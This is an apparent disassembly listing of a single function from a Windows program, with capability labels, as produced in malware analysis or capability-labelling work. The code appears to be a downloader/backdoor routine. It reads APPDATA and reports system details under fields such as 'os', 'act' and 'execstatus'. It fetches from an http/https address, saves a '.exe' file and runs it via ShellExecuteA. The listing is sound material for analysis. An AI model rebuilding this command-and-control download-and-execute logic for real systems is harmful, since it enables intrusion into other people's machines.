Function at 0x4e1ca0
Capabilities:
Create process on windows
Query environment variable

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x808
call fcn.0043db20
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp], 0x2ee0
mov dword [ebp - 0x7ec], eax
call eax
sub esp, 4
call fcn.00402d50
test al, al
je 0x4e1d4e
mov dword [esp], 0x249f0
call dword [ebp - 0x7ec]
lea eax, [ebp - 0x30]
sub esp, 4
mov dword [esp], eax
call fcn.00403210
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x14], 0xa
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [esp + 8], eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0x28]
sub esp, 0x18
cmp eax, edx
je 0x4e1d40
mov dword [esp], eax
call fcn.004e0b90
lea esp, [ebp - 0x10]
xor eax, eax
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
call fcn.00402bf0
test al, al
jne 0x4e1cdc
call fcn.00403300
test al, al
je 0x4e1cdc
call fcn.00402ba0
test al, al
jne 0x4e1cdc
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
lea ecx, [ebp - 0x7e0]
mov dword [esp], eax
call fcn.00401770
lea eax, [ebp - 0x7c8]
push edx
mov dword [esp], eax
call fcn.004028e0
lea eax, [ebp - 0x7b0]
mov dword [esp], eax
call fcn.00402550
lea ecx, [ebp - 0x798]
mov dword [esp], 0x4ec0f4
call fcn.00401770
mov edx, dword [ebp - 0x7ac]
push eax
lea esi, [ebp - 0x780]
mov eax, dword [ebp - 0x7b0]
lea ebx, [ebp - 0x778]
mov ecx, esi
mov dword [ebp - 0x780], ebx
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
push eax
push eax
mov dword [esp], esi
call fcn.00403590
mov eax, dword [ebp - 0x780]
cmp eax, ebx
je 0x4e1e05
mov dword [esp], eax
call fcn.004e0b90
lea ebx, [ebp - 0x600]
mov dword [esp], str.apple
mov ecx, ebx
call fcn.00401770
push eax
lea eax, [ebp - 0x5e8]
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00401b90
lea eax, [ebp - 0x658]
mov edx, dword [ebp - 0x794]
lea ebx, [ebp - 0x660]
mov dword [ebp - 0x660], eax
mov eax, dword [ebp - 0x798]
mov ecx, ebx
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
push eax
push eax
lea eax, [ebp - 0x648]
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00401b90
lea eax, [ebp - 0x6b8]
mov edx, dword [ebp - 0x7ac]
lea ebx, [ebp - 0x6c0]
mov dword [ebp - 0x6c0], eax
mov eax, dword [ebp - 0x7b0]
mov ecx, ebx
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
push edi
push edi
lea edi, [ebp - 0x6a8]
mov dword [esp + 4], ebx
mov dword [esp], edi
call fcn.00401b90
lea eax, [ebp - 0x718]
mov edx, dword [ebp - 0x7c4]
lea ebx, [ebp - 0x720]
mov dword [ebp - 0x720], eax
mov eax, dword [ebp - 0x7c8]
mov ecx, ebx
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
push esi
push esi
lea esi, [ebp - 0x708]
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00401b90
lea ebx, [ebp - 0x6f0]
mov dword [esp + 8], esi
mov dword [esp + 4], str.osbit
mov dword [esp], ebx
call fcn.004de760
lea esi, [ebp - 0x6d8]
mov dword [esp + 8], str.os
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.004de5b0
lea ebx, [ebp - 0x690]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.004de650
lea esi, [ebp - 0x678]
mov dword [esp + 8], str.extrainfo
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.004de5b0
lea ebx, [ebp - 0x630]
lea eax, [ebp - 0x648]
mov dword [esp + 4], esi
mov dword [esp + 8], eax
mov dword [esp], ebx
call fcn.004de650
lea edi, [ebp - 0x618]
mov dword [esp + 8], str.act
mov dword [esp + 4], ebx
mov dword [esp], edi
call fcn.004de5b0
lea esi, [ebp - 0x5d0]
lea eax, [ebp - 0x5e8]
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov dword [esp], esi
call fcn.004de650
lea eax, [ebp - 0x748]
mov edx, dword [0x54503c]
lea edi, [ebp - 0x750]
mov dword [ebp - 0x750], eax
mov eax, dword [0x545038]
mov ecx, edi
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
push ebx
push ebx
lea ebx, [ebp - 0x738]
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.00401d10
lea edi, [ebp - 0x5b8]
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], edi
call fcn.00402100
lea ebx, [ebp - 0x768]
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.00401d10
mov eax, dword [ebp - 0x5b8]
lea ecx, [ebp - 0x5b0]
cmp eax, ecx
je 0x4e2029
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x738]
lea edx, [ebp - 0x730]
cmp eax, edx
je 0x4e2041
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x750]
lea ecx, [ebp - 0x748]
cmp eax, ecx
je 0x4e2059
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x5d0]
lea edx, [ebp - 0x5c8]
cmp eax, edx
je 0x4e2071
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x618]
lea edx, [ebp - 0x610]
cmp eax, edx
je 0x4e2089
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x630]
lea edx, [ebp - 0x628]
cmp eax, edx
je 0x4e20a1
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x678]
lea edx, [ebp - 0x670]
cmp eax, edx
je 0x4e20b9
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x690]
lea edx, [ebp - 0x688]
cmp eax, edx
je 0x4e20d1
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x6d8]
lea edx, [ebp - 0x6d0]
cmp eax, edx
je 0x4e20e9
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x6f0]
lea edx, [ebp - 0x6e8]
cmp eax, edx
je 0x4e2101
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x708]
lea edx, [ebp - 0x700]
cmp eax, edx
je 0x4e2119
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x720]
lea ecx, [ebp - 0x718]
cmp eax, ecx
je 0x4e2131
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x6a8]
lea edx, [ebp - 0x6a0]
cmp eax, edx
je 0x4e2149
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x6c0]
lea ecx, [ebp - 0x6b8]
cmp eax, ecx
je 0x4e2161
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x648]
lea edx, [ebp - 0x640]
cmp eax, edx
je 0x4e2179
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x660]
lea ecx, [ebp - 0x658]
cmp eax, ecx
je 0x4e2191
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x5e8]
lea edx, [ebp - 0x5e0]
cmp eax, edx
je 0x4e21a9
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x600]
lea edx, [ebp - 0x5f8]
cmp eax, edx
je 0x4e21c1
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x764]
mov dword [esp], 0x4eb7a0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x768]
mov dword [esp + 4], eax
call fcn.004d9dc0
mov dword [esp + 8], 8
mov dword [esp + 4], 0
mov ecx, ebx
mov dword [esp], str.https:__
call fcn.00466c30
sub esp, 0xc
test eax, eax
jne 0x4e2389
lea eax, [ebp - 0x598]
mov edx, dword [ebp - 0x764]
lea esi, [ebp - 0x5a0]
mov dword [ebp - 0x5a0], eax
mov eax, dword [ebp - 0x768]
mov ecx, esi
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
lea ebx, [ebp - 0x588]
push eax
push eax
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.00404b70
mov ecx, 0x2e
mov edx, ebx
mov eax, edi
call fcn.00404610
mov eax, dword [ebp - 0x588]
lea edi, [ebp - 0x580]
cmp eax, edi
je 0x4e2272
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x5a0]
lea edi, [ebp - 0x598]
cmp eax, edi
je 0x4e228a
mov dword [esp], eax
call fcn.004e0b90
call fcn.00402b60
mov dword [esp + 4], eax
lea eax, [ebp - 0x558]
mov dword [esp], eax
call fcn.004029a0
mov edi, dword [ebp - 0x7e0]
lea eax, [ebp - 0x568]
mov esi, dword [ebp - 0x7dc]
mov dword [ebp - 0x570], eax
mov eax, edi
add eax, esi
je 0x4e2433
test edi, edi
jne 0x4e2433
mov dword [esp], 0x4ec064
call fcn.004da760
mov ebx, eax
mov eax, dword [ebp - 0x558]
lea edx, [ebp - 0x550]
cmp eax, edx
je 0x4e22f1
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x5b8]
lea edi, [ebp - 0x5b0]
cmp eax, edi
je 0x4e2309
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x768]
lea edx, [ebp - 0x760]
cmp eax, edx
je 0x4e2321
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x798]
lea edx, [ebp - 0x790]
cmp eax, edx
je 0x4e2339
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x7b0]
lea edx, [ebp - 0x7a8]
cmp eax, edx
je 0x4e2351
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x7c8]
lea edx, [ebp - 0x7c0]
cmp eax, edx
je 0x4e2369
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x7e0]
lea edx, [ebp - 0x7d8]
cmp eax, edx
je 0x4e2381
mov dword [esp], eax
call fcn.004e0b90
mov dword [esp], ebx
call fcn.00441150
mov dword [esp + 8], 7
mov dword [esp + 4], 0
mov ecx, ebx
mov dword [esp], str.http:__
call fcn.00466c30
sub esp, 0xc
test eax, eax
je 0x4e220a
mov eax, dword [ebp - 0x768]
lea edx, [ebp - 0x760]
cmp eax, edx
je 0x4e23ca
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x798]
lea edx, [ebp - 0x790]
cmp eax, edx
je 0x4e23e2
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x7b0]
lea edx, [ebp - 0x7a8]
cmp eax, edx
je 0x4e23fa
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x7c8]
lea edx, [ebp - 0x7c0]
cmp eax, edx
je 0x4e2412
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x7e0]
lea edx, [ebp - 0x7d8]
cmp eax, edx
je 0x4e1cdc
mov dword [esp], eax
call fcn.004e0b90
jmp 0x4e1cdc
cmp esi, 0xf
mov dword [ebp - 0x7e4], esi
ja 0x4e3131
cmp esi, 1
je 0x4e3176
test esi, esi
jne 0x4e3184
mov eax, dword [ebp - 0x7e4]
mov edx, dword [ebp - 0x570]
mov dword [ebp - 0x56c], eax
mov byte [edx + eax], 0
cmp dword [ebp - 0x56c], 0x7fffffff
je 0x4e318c
lea edi, [ebp - 0x570]
mov dword [esp + 4], 1
mov dword [esp], 0x4ec404
mov ecx, edi
call fcn.004c3eb0
lea esi, [ebp - 0x540]
push edx
lea eax, [ebp - 0x558]
push edx
mov dword [esp + 8], eax
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.004de650
mov dword [esp + 8], str..exe
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.004de5b0
mov eax, dword [ebp - 0x540]
lea edx, [ebp - 0x538]
cmp eax, edx
je 0x4e24df
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x570]
lea edi, [ebp - 0x568]
cmp eax, edi
je 0x4e24f7
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x558]
lea edx, [ebp - 0x550]
cmp eax, edx
je 0x4e250f
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x7e0]
mov edx, dword [ebp - 0x7dc]
lea esi, [ebp - 0x528]
lea ebx, [ebp - 0x520]
mov ecx, esi
add edx, eax
mov dword [esp], eax
mov dword [ebp - 0x528], ebx
mov dword [esp + 4], edx
call fcn.00401690
push eax
push eax
mov dword [esp], esi
call fcn.00403ec0
mov eax, dword [ebp - 0x528]
cmp eax, ebx
je 0x4e2559
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x588]
mov edx, dword [ebp - 0x584]
lea edi, [ebp - 0x4f8]
lea ebx, [ebp - 0x4f0]
mov ecx, edi
add edx, eax
mov dword [esp], eax
mov dword [ebp - 0x4f8], ebx
mov dword [esp + 4], edx
call fcn.00401690
mov edx, dword [ebp - 0x764]
push eax
lea esi, [ebp - 0x508]
push eax
mov eax, dword [ebp - 0x768]
lea ecx, [ebp - 0x510]
mov dword [ebp - 0x510], esi
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
push eax
push eax
lea eax, [ebp - 0x510]
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.00402310
mov eax, dword [ebp - 0x510]
cmp eax, esi
je 0x4e25db
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x4f8]
cmp eax, ebx
je 0x4e25ed
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x588]
mov edx, dword [ebp - 0x584]
lea esi, [ebp - 0x4e0]
lea ebx, [ebp - 0x4d8]
mov ecx, esi
add edx, eax
mov dword [esp], eax
mov dword [ebp - 0x4e0], ebx
mov dword [esp + 4], edx
call fcn.00401690
push eax
push eax
mov dword [esp], esi
call fcn.00401810
mov edx, dword [ebp - 0x4e0]
mov esi, eax
cmp edx, ebx
je 0x4e2639
mov dword [esp], edx
call fcn.004e0b90
mov eax, esi
test al, al
je 0x4e2bd3
mov edx, dword [ebp - 0x588]
lea eax, [ebp - 0x48]
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00405350
lea eax, [ebp - 0x2b0]
mov edx, dword [ebp - 0x44]
lea ebx, [ebp - 0x2b8]
mov dword [ebp - 0x2b8], eax
mov eax, dword [ebp - 0x48]
mov ecx, ebx
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
push eax
push eax
lea eax, [ebp - 0x2a0]
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00401b90
lea eax, [ebp - 0x310]
mov edx, dword [ebp - 0x5b4]
lea ebx, [ebp - 0x318]
mov dword [ebp - 0x318], eax
mov eax, dword [ebp - 0x5b8]
mov ecx, ebx
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
push eax
push eax
lea eax, [ebp - 0x300]
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00401b90
lea ebx, [ebp - 0x378]
mov dword [esp], str.pear
mov ecx, ebx
call fcn.00401770
lea eax, [ebp - 0x360]
push edi
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00401b90
lea eax, [ebp - 0x3d0]
mov edx, dword [ebp - 0x794]
lea ebx, [ebp - 0x3d8]
mov dword [ebp - 0x3d8], eax
mov eax, dword [ebp - 0x798]
mov ecx, ebx
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
lea eax, [ebp - 0x3c0]
push esi
push esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00401b90
lea eax, [ebp - 0x430]
mov edx, dword [ebp - 0x7ac]
lea ebx, [ebp - 0x438]
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x7b0]
mov ecx, ebx
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
lea edi, [ebp - 0x420]
push ecx
push ecx
mov dword [esp + 4], ebx
mov dword [esp], edi
call fcn.00401b90
lea eax, [ebp - 0x490]
mov edx, dword [ebp - 0x7c4]
lea ebx, [ebp - 0x498]
mov dword [ebp - 0x498], eax
mov eax, dword [ebp - 0x7c8]
mov ecx, ebx
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
lea esi, [ebp - 0x480]
push edx
push edx
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00401b90
lea ebx, [ebp - 0x468]
mov dword [esp + 8], esi
mov dword [esp + 4], str.osbit
mov dword [esp], ebx
call fcn.004de760
lea esi, [ebp - 0x450]
mov dword [esp + 8], str.os
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.004de5b0
lea ebx, [ebp - 0x408]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.004de650
lea esi, [ebp - 0x3f0]
mov dword [esp + 8], str.extrainfo
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.004de5b0
lea ebx, [ebp - 0x3a8]
lea eax, [ebp - 0x3c0]
mov dword [esp + 4], esi
mov dword [esp + 8], eax
mov dword [esp], ebx
call fcn.004de650
lea esi, [ebp - 0x390]
mov dword [esp + 8], str.act
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.004de5b0
lea ebx, [ebp - 0x348]
lea eax, [ebp - 0x360]
mov dword [esp + 4], esi
mov dword [esp + 8], eax
mov dword [esp], ebx
call fcn.004de650
lea esi, [ebp - 0x330]
mov dword [esp + 8], str.order
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.004de5b0
lea ebx, [ebp - 0x2e8]
lea eax, [ebp - 0x300]
mov dword [esp + 4], esi
mov dword [esp + 8], eax
mov dword [esp], ebx
call fcn.004de650
lea edi, [ebp - 0x2d0]
mov dword [esp + 8], str.execstatus
mov dword [esp + 4], ebx
mov dword [esp], edi
call fcn.004de5b0
lea esi, [ebp - 0x288]
lea eax, [ebp - 0x2a0]
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov dword [esp], esi
call fcn.004de650
mov eax, dword [0x545038]
mov edx, dword [0x54503c]
lea edi, [ebp - 0x4c0]
lea ecx, [ebp - 0x4c8]
mov dword [ebp - 0x4c8], edi
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
lea ebx, [ebp - 0x4b0]
push eax
push eax
lea eax, [ebp - 0x4c8]
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.00401d10
lea eax, [ebp - 0x30]
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00402100
mov eax, dword [ebp - 0x4b0]
lea edx, [ebp - 0x4a8]
cmp eax, edx
je 0x4e2955
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x4c8]
cmp eax, edi
je 0x4e2967
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x288]
lea edx, [ebp - 0x280]
cmp eax, edx
je 0x4e297f
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x2d0]
lea edx, [ebp - 0x2c8]
cmp eax, edx
je 0x4e2997
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x2e8]
lea edx, [ebp - 0x2e0]
cmp eax, edx
je 0x4e29af
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x330]
lea edx, [ebp - 0x328]
cmp eax, edx
je 0x4e29c7
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x348]
lea edx, [ebp - 0x340]
cmp eax, edx
je 0x4e29df
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x390]
lea edx, [ebp - 0x388]
cmp eax, edx
je 0x4e29f7
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x3a8]
lea edx, [ebp - 0x3a0]
cmp eax, edx
je 0x4e2a0f
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x3f0]
lea edx, [ebp - 0x3e8]
cmp eax, edx
je 0x4e2a27
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x408]
lea edx, [ebp - 0x400]
cmp eax, edx
je 0x4e2a3f
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x450]
lea edx, [ebp - 0x448]
cmp eax, edx
je 0x4e2a57
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x468]
lea edx, [ebp - 0x460]
cmp eax, edx
je 0x4e2a6f
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x480]
lea edx, [ebp - 0x478]
cmp eax, edx
je 0x4e2a87
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x498]
lea edi, [ebp - 0x490]
cmp eax, edi
je 0x4e2a9f
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x420]
lea edx, [ebp - 0x418]
cmp eax, edx
je 0x4e2ab7
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x438]
lea edi, [ebp - 0x430]
cmp eax, edi
je 0x4e2acf
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x3c0]
lea edx, [ebp - 0x3b8]
cmp eax, edx
je 0x4e2ae7
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x3d8]
lea edi, [ebp - 0x3d0]
cmp eax, edi
je 0x4e2aff
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x360]
lea edx, [ebp - 0x358]
cmp eax, edx
je 0x4e2b17
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x378]
lea edx, [ebp - 0x370]
cmp eax, edx
je 0x4e2b2f
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x300]
lea edx, [ebp - 0x2f8]
cmp eax, edx
je 0x4e2b47
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x318]
lea edi, [ebp - 0x310]
cmp eax, edi
je 0x4e2b5f
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x2a0]
lea edx, [ebp - 0x298]
cmp eax, edx
je 0x4e2b77
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x2b8]
lea edi, [ebp - 0x2b0]
cmp eax, edi
je 0x4e2b8f
mov dword [esp], eax
call fcn.004e0b90
call fcn.00405780
mov ebx, eax
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0x28]
cmp eax, edx
je 0x4e2ba8
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x48]
lea edx, [ebp - 0x40]
cmp eax, edx
je 0x4e2bba
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x588]
lea edi, [ebp - 0x580]
cmp eax, edi
jne 0x4e22e9
jmp 0x4e22f1
lea ecx, [ebp - 0x2a0]
mov dword [esp], 0x4ec425
call fcn.00401770
push eax
lea eax, [ebp - 0x58]
mov edx, dword [ebp - 0x29c]
lea ebx, [ebp - 0x60]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x2a0]
mov ecx, ebx
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
push eax
push eax
lea eax, [ebp - 0x48]
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00401b90
lea eax, [ebp - 0xb8]
mov edx, dword [ebp - 0x5b4]
lea ebx, [ebp - 0xc0]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x5b8]
mov ecx, ebx
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
push eax
push eax
lea eax, [ebp - 0xa8]
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00401b90
lea ebx, [ebp - 0x120]
mov dword [esp], str.pear
mov ecx, ebx
call fcn.00401770
push eax
lea eax, [ebp - 0x108]
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00401b90
lea eax, [ebp - 0x178]
mov edx, dword [ebp - 0x794]
lea ebx, [ebp - 0x180]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x798]
mov ecx, ebx
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
push eax
push eax
lea eax, [ebp - 0x168]
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00401b90
lea eax, [ebp - 0x1d8]
mov edx, dword [ebp - 0x7ac]
lea ebx, [ebp - 0x1e0]
mov dword [ebp - 0x1e0], eax
mov eax, dword [ebp - 0x7b0]
mov ecx, ebx
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
push edi
push edi
lea edi, [ebp - 0x1c8]
mov dword [esp + 4], ebx
mov dword [esp], edi
call fcn.00401b90
lea eax, [ebp - 0x238]
mov edx, dword [ebp - 0x7c4]
lea ebx, [ebp - 0x240]
mov dword [ebp - 0x240], eax
mov eax, dword [ebp - 0x7c8]
mov ecx, ebx
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
push esi
push esi
lea esi, [ebp - 0x228]
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00401b90
lea ebx, [ebp - 0x210]
mov dword [esp + 8], esi
mov dword [esp + 4], str.osbit
mov dword [esp], ebx
call fcn.004de760
lea esi, [ebp - 0x1f8]
mov dword [esp + 8], str.os
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.004de5b0
lea ebx, [ebp - 0x1b0]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.004de650
lea esi, [ebp - 0x198]
mov dword [esp + 8], str.extrainfo
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.004de5b0
lea ebx, [ebp - 0x150]
lea eax, [ebp - 0x168]
mov dword [esp + 4], esi
mov dword [esp + 8], eax
mov dword [esp], ebx
call fcn.004de650
lea esi, [ebp - 0x138]
mov dword [esp + 8], str.act
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.004de5b0
lea ebx, [ebp - 0xf0]
lea eax, [ebp - 0x108]
mov dword [esp + 4], esi
mov dword [esp + 8], eax
mov dword [esp], ebx
call fcn.004de650
lea esi, [ebp - 0xd8]
mov dword [esp + 8], str.order
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.004de5b0
lea ebx, [ebp - 0x90]
lea eax, [ebp - 0xa8]
mov dword [esp + 4], esi
mov dword [esp + 8], eax
mov dword [esp], ebx
call fcn.004de650
lea edi, [ebp - 0x78]
mov dword [esp + 8], str.execstatus
mov dword [esp + 4], ebx
mov dword [esp], edi
call fcn.004de5b0
lea esi, [ebp - 0x30]
lea eax, [ebp - 0x48]
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov dword [esp], esi
call fcn.004de650
mov eax, dword [0x545038]
mov edx, dword [0x54503c]
lea edi, [ebp - 0x268]
lea ecx, [ebp - 0x270]
mov dword [ebp - 0x270], edi
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401690
lea ebx, [ebp - 0x258]
push ecx
lea eax, [ebp - 0x270]
push ecx
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00401d10
lea eax, [ebp - 0x288]
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00402100
mov eax, dword [ebp - 0x258]
lea edx, [ebp - 0x250]
cmp eax, edx
je 0x4e2ed7
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x270]
cmp eax, edi
je 0x4e2ee9
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0x28]
cmp eax, edx
je 0x4e2efb
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x78]
lea edx, [ebp - 0x70]
cmp eax, edx
je 0x4e2f0d
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x90]
lea edx, [ebp - 0x88]
cmp eax, edx
je 0x4e2f25
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0xd8]
lea edx, [ebp - 0xd0]
cmp eax, edx
je 0x4e2f3d
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0xf0]
lea edx, [ebp - 0xe8]
cmp eax, edx
je 0x4e2f55
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x130]
cmp eax, edx
je 0x4e2f6d
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x150]
lea edx, [ebp - 0x148]
cmp eax, edx
je 0x4e2f85
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x198]
lea edx, [ebp - 0x190]
cmp eax, edx
je 0x4e2f9d
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x1b0]
lea edx, [ebp - 0x1a8]
cmp eax, edx
je 0x4e2fb5
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x1f8]
lea edx, [ebp - 0x1f0]
cmp eax, edx
je 0x4e2fcd
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x210]
